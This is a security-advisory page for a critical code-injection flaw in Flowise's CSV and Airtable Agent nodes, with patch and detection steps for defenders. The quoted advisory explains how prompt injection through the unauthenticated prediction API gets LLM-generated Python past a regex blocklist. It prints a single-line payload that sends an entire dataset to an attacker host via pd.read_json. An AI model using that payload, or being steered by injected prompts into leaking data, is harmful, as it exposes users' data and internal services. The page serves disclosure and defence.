Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-73487 critical CVSS 9.8

Code Injection in flowise (CVE-2026-73487)

Summary

Code injection in flowise (CVE-2026-73487). Successful exploitation can lead to full system takeover. Exploitable via POST /api/v1/prediction/. Mitigation: upgrade to 3.1.3 or later.

Original description

The description as published by the source.

Summary

Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame()) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.

The most impactful bypass is trivial: pd.read_json("http://attacker.com/?d=" + df.to_json()) passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.

Severity

Critical (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Affected Versions

  • Flowise <= 3.1.2 (latest at time of disclosure)
  • Any deployment with a CSV Agent or Airtable Agent chatflow

Details

Root Cause

The validatePythonCodeForDataFrame() function (packages/components/src/pythonCodeValidator.ts) uses a blocklist of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because:

  1. Pandas URL-fetching functions are not blocked: pd.read_json(), pd.read_html(), pd.read_csv(), pd.read_fwf() all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern.

  2. **The \bimport\b regex does not match `import…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-73487 has been found in flowise.
Attackers can target a specific entry point like POST /api/v1/prediction/ over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 9.8/10.
What to do: upgrade flowise to 3.1.3 or later.
If unsure, ask your IT team or search "flowise CVE-2026-73487" on the vendor's site.

CVE-2026-73487 (flowise) — CWE-94 / CVSS v3 9.8
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: POST /api/v1/prediction/ / importlib / import / np.ctypeslib
Patched: 3.1.3 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Arbitrary code execution (CWE-94) exists in flowise. Attackers reach the vulnerable code path via POST /api/v1/prediction/ without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of flowise. Attack surface: POST /api/v1/prediction/ / importlib / import / np.ctypeslib.

🔥 Severity

Severity: Critical (CVSS 9.8/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 3.1.3.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual POST /api/v1/prediction/ requests with malformed payloads or SQL meta-characters. Run grep -r 'flowise' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'flowise' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で flowise を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Hunt for indicators of compromise detect 
    grep 'POST /api/v1/prediction/' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'

    アクセスログで POST /api/v1/prediction/ への異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。

  3. 3
    Apply patch patch 
    Upgrade flowise to 3.1.3

    ステージング環境で 3.1.3 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。

  4. 4
    Post-deployment verification verify 
    Replay attack against POST /api/v1/prediction/ on staging to confirm patch closes the vector

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

pip flowise
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]
npm flowise
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]
npm flowise-components
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details